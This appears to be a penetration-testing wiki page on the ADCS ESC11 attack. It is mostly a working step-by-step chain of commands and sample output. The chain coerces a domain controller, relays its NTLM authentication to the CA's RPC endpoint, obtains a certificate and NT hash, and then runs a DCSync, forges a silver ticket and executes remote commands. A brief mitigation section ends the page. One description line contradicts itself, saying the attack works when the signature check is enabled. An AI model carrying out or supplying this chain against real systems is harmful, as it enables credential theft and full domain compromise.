ESC11
Description
ADCS exposes an RPC endpoint for certificate enrollment. The endpoint MS-ICPR is an RPC interface. The RPC protocol allows each interface to define its NTLM signature management policy. In this case, the flag IF_ENFORCEENCRYPTICERTREQUEST determines if a signature check is performed. As the RPC protocol supports NTLM authentication, when there are no signature checks performed the endpoint is vulnerable (similar in concept to SMB NTLM relaying when SMB signing is disabled).
Default ADCS settings enforce the signature check. However, in some cases this may be disabled in ADCS in ensure compatability with legacy clients such as Windows Server 2012 and 2008. When this check is enabled, it becomes possible to perform a NTLM relay attack over the RPC endpoint.
Requirements for attack path
IF_ENFORCEENCRYPTICERTREQUESTflag is not enabled on the CA
Linux
Enumeration
certipy find -u 'Moe@Security.local' -p 'Password123' -dc-ip 10.10.10.100 -stdout -vulnerable
Performing the attack
There are two ways to perform this attack. Either using certipy or using a fork of Impacket which supports the appropriate RPC calls.
Run certipy, targeting the Certificate Authority and using the required template.
certipy relay -target "rpc://10.10.10.2" -ca "SECURITY-CA-CA" -template DomainController Then force coertion with coercer, selecting the intended target (Domain Controller in the example below)
coercer coerce -l 10.10.10.4 -t 10.10.10.100 -d security.local -u moe -p Password123[*] Targeting rpc://10.10.10.2 (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:10.10.10.2[135] to determine ICPR stringbinding
[*] Attacking user 'DC01$@SECURITY'
[*] Requesting certificate for user 'DC01$' with template 'DomainController'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 76
[*] Got certificate with DNS Host Name 'DC01.SECURITY.LOCAL'
[*] Certificate object SID is 'S-1-5-21-13999771-2333344039-1820745628-1000'
[*] Saved certificate and private key to 'dc01.pfx'Alternitavely we can use a fork of impacket which supports the required RPC calls.
# Clone the fork
git clone https://github.com/sploutchy/impacket.git
cd impacket
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# If issues are encountered it could be worth running the setup.py file
sudo python3 setup.py installAfter setup execute ntlmrelayx.py, targeting the Certificate Authority and selecting the appropriate certificate template.
sudo python3 ntlmrelayx.py -t rpc://10.10.10.2 -rpc-mode ICPR -icpr-ca-name 'SECURITY-CA-CA' -smb2support --template DomainControllerThen force coertion with coercer, selecting the intended target (Domain Controller in the example below)
coercer coerce -l 10.10.10.4 -t 10.10.10.100 -d security.local -u moe -p Password123[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.10.100, attacking target rpc://10.10.10.2
[*] Authenticating against rpc://10.10.10.2 as SECURITY/DC01$ SUCCEED
[*] SMBD-Thread-7 (process_request_thread): Connection from 10.10.10.100 controlled, but there are no more targets left!
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Successfully requested certificate
[*] Request ID is 75
[*] Base64 certificate of user DC01$:
b'MIIR1QIBAzCCEY8GCSqGSIb3DQEHAaCCEYAEghF8MIIReDCCB68GCSqGSIb3DQEHB<-- Snip -->'Convert the Base64 encoded data to a pfx file
echo 'MIIR1QIBA <-- Snip --> ECK3ffBogi5wl' | base64 -d > dc01.pfxRegardless of using certipy or ntlmrelayx, we should now have a .pfx file for the system we performed coercion against. We can then use certipy to request credentials.
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.100[*] Using principal: dc01$@security.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@security.local': aad3b435b51404eeaad3b435b51404ee:1fe859c38adaa592ad52559fd9ab584dPost Exploitation
Various post-exploitation steps can be undertaken after obtaining a machine account hash. The below example will focus on post-exploitation with a Domain Controller hash.
DCSync
A simple approach would be to perform a DCsync with impacket-secretsdump using the domain controller hash obtained from the certificate.
# All data
impacket-secretsdump 'DC01$'@10.10.10.100 -hashes :1fe859c38adaa592ad52559fd9ab584d
# Single user
impacket-secretsdump 'DC01$'@10.10.10.100 -hashes :1fe859c38adaa592ad52559fd9ab584d -just-dc-user krbtgtSilver Ticket
As an alternative option we can generate a silver ticket for a particular service such as CIFS and then gain direct command execution over the target, in this case the Domain Controller.
Firstly, identify the domain SID.
impacket-lookupsid 'DC01$'@10.10.10.100 -hashes :1fe859c38adaa592ad52559fd9ab584d | grep 'Domain SID is:' Next, we use ticketer to forge a silver ticket for a given service. In this case CIFS over Domain Controller.
impacket-ticketer -nthash 1fe859c38adaa592ad52559fd9ab584d -domain-sid S-1-5-21-13999771-2333344039-1820745628 -domain security.local -spn cifs/dc01.security.local Administrator Then export the TGS.
export KRB5CCNAME=Administrator.ccacheFinally, authenticate and issue commands.
nxc smb dc01.security.local --use-kcache -x 'whoami'Windows
This section is yet to be completed.
Mitigation
To resolve this issue the Certificate Authority needs to have enforced encryption on MS-ICPR requests. The following command should be issued on the ADCS server.
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUESTThen restart the services to allow changes to take place.
net stop certsvc & net start certsvcLast updated